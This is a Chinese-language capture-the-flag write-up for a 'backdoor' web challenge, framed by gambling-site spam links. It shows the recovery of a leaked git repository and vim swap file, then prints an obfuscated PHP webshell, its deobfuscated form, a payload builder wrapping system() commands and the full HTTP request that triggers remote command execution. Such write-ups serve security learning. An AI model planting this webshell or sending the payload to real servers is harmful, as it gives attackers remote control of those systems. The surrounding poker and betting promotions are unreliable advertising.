【PokerStars】backdoor Backdoor

2021年1月17日07:52:50 发表评论
摘要

踩了个巨坑。php 一样要查看源代码啊。。。。。第二个坑。审计代码可以预定输入,执行输出快速得出怎么构造。

PokerStars亚洲版(6UPDH.COM)全球最大德州扑克平台。发牌公正,与世界玩家同台竞技

大发扑克|dafapoker|大发在线德州扑克|大发德州扑克策略网站——大发游戏导航(dfyxdh.com)

迈博myball最新网站|迈博体育官网|最好玩的体育直播观看平台——迈博体育导航(mbo388.com)

backdoor

  • 踩了个巨坑。php 一样要查看源代码啊。。。。。

  • 第二个坑。审计代码可以预定输入,执行输出快速得出怎么构造。

  • 第三个坑。要用jgithack 而不是githack了。

  • 进入题目。发现一个页面,什么也没有。扫题目。

  • 得到 /.git/

  • 用jgihack来爬取

  • 得到文件flag.php里面什么都没有。

  • 所以用git log git diff 命令 来查看历史的修改

  • 发现了b4ckdo0r.php

  • 页面提示 can you find the source code of me?-

  • 猜测有备份文件

  • 用各种备份格式测试。发现..b4ckdo0r.php.swo. 从DDCTF的第一题给的csdn。我想起来这就是个vim异常退出的缓存文件。然后进入kali vim -r .b4ckdo0r.php.swo

  • 得到

/** * Signature For Report */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/* */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/* */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/* */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/* */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/* */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/* */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/* */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/* */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([//w)m])m)[//w-)m]+(?:;q=0.)';/* */$x='m([//d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/* */$y=str_replace('b','','crbebbabte_funcbbtion');/* */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/* */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/* */$v=$y('',$L);$v();/* */
  • 仔细看代码 直接输出echo $L; 就行
  • 第一深坑。php代码一定要用源代码复制站贴啊!!!!!!!!!!
  • php代码为
<?php$kh = "4f7f";$kf = "28d7";function x($t, $k) {   //k=4f7f28d7    $c = strlen($k);  //k长度 8     $l = strlen($t);   // t长度    $o = "";    for ($i = 0; $i < $l;) {   //t 长度里面循环        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {   //k长度和t长度共同里面循环            $o. = $t {                               // o =                 $i            } ^ $k {                $j            };        }    }    return $o;}$r = $_SERVER;$rr = @$r["HTTP_REFERER"];   //访问地址 $ra = @$r["HTTP_ACCEPT_LANGUAGE"];  // 语言if ($rr && $ra) {    $u = parse_url($rr);   //php parse_url函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。    parse_str($u["query"], $q);  //解析查询字符串放入$q    $q = array_values($q);   //只要值。    preg_match_all("/([/w])[/w-]+(?:;q=0.([/d]))?,?/", $ra, $m);    if ($q && $m) {@session_start();        $s = &$_SESSION;        $ss = "substr";        $sl = "strtolower";        $i = $m[1][0].$m[1][1]; //zz         $h = $sl($ss(md5($i.$kh), 0, 3));   //     md5(zz4f7f)=67587e3dcb97030c61b55bbdd973a8cd  substr( ,0,3) = 675  675        $f = $sl($ss(md5($i.$kf), 0, 3));   //  md5(zz28d7) = a3e35c4c07db9f3ef387252604077236     substr( ,0,3) = a3e  a3e        $p = "";        for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];   // count($m[1])=6     $m[2][$z]= null 8 7 5 3 2         if (strpos($p, $h) === 0) {       //strpos 查找$h 在$p第一次出现的位置  675 在$p第一次出现的位置。   p以675开头            $s[$i] = "";              $p = $ss($p, 3);        }        if (array_key_exists($i, $s)) {   //zz  是session的健            $s[$i]. = $p;    // zz的值和$p 连起来。            $e = strpos($s[$i], $f);   //  查找a3e 在zz和p连起来的字符串的位置。            if ($e) {                $k = $kh.$kf;    //k=4f7f28d7                ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));                         // session的zz值 从0截取到a3e出现的位置  把其中的_ - 替换成 /和+    然后base64 。 然后送入x函数                $o = ob_get_contents();                ob_end_clean();                $d = base64_encode(x(gzcompress($o), $k));                print("<$k>$d</$k>");@session_destroy();            }        }    }}?>

-菜鸡的我一步一个输入得出了才看透了代码。

  • 构造payload
function x($t, $k) {   //k=4f7f28d7    $c = strlen($k);  //k长度 8     $l = strlen($t);   // t长度    $o = "";    for ($i = 0; $i < $l;) {   //t 长度里面循环        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {   //k长度和t长度共同里面循环            $o .= $t {$i} ^ $k {$j};        }    }    return $o;}$flag = "system('ls');";                echo $flag;                echo @base64_encode(@x(@gzcompress($flag),$k));                echo '<br>';

将其得到的值放入Referer: h变量的位置。system() 里面直接写自己的命令

GET /Challenges/b4ckdo0r.php HTTP/1.1Host: 5edad8a7a6bb4bb781262c05304c0b9aaa87becfa67e4333.changame.ichunqiu.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: __jsluid=a3e4bda8f20dbecdcbbb2db40f31bf49Upgrade-Insecure-Requests: 1Referer: http://localhost/test.html?a=1&b=2&c=3&d=4&e=5&f=a3e&g=7&h=TPocyB4WLfrhNngoHmlM/vxKuakGtSv8fSrgTfoQNOCAYDfe2zKY&l=675
  • 得到类似这种返回的时候can you find the source code of me?<4f7f28d7>TPqE1x3wTNfRNH6te3Qzh2E2MLfnPiJecuCxrxSCDVEi4I1Ae/HtjaLgHuCIfqJx0kAx8CQu4p5y092wjmSSQWhmf38iTw==</4f7f28d7>
$test3 ='TPqE1x3wTNfRNH6te3Qzh2E2MLfnPiJecuCxrxSCDVEi4I1Ae/HtjaLgHuCIfqJx0kAx8CQu4p5y092wjmSSQWhmf38iTw==';echo gzuncompress(x(base64_decode($test3),$k));

用类似的代码解一下

  • 记得cat php文件的时候一定要看源代码!!!!!!!!!!!

10708股票网
蜜糖小说网

6UP扑克之星官网发布页:www.6updh.com

蜗牛扑克官方网址:www.allnew366.com
天龙扑克官方网址:www.tianlongqipai.com
神扑克(Shenpoker)导航:http://www.spkdh.com

博狗最新官方网址:www.xbgwz.com

以上资讯由扑克之星亚洲版整理提供!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: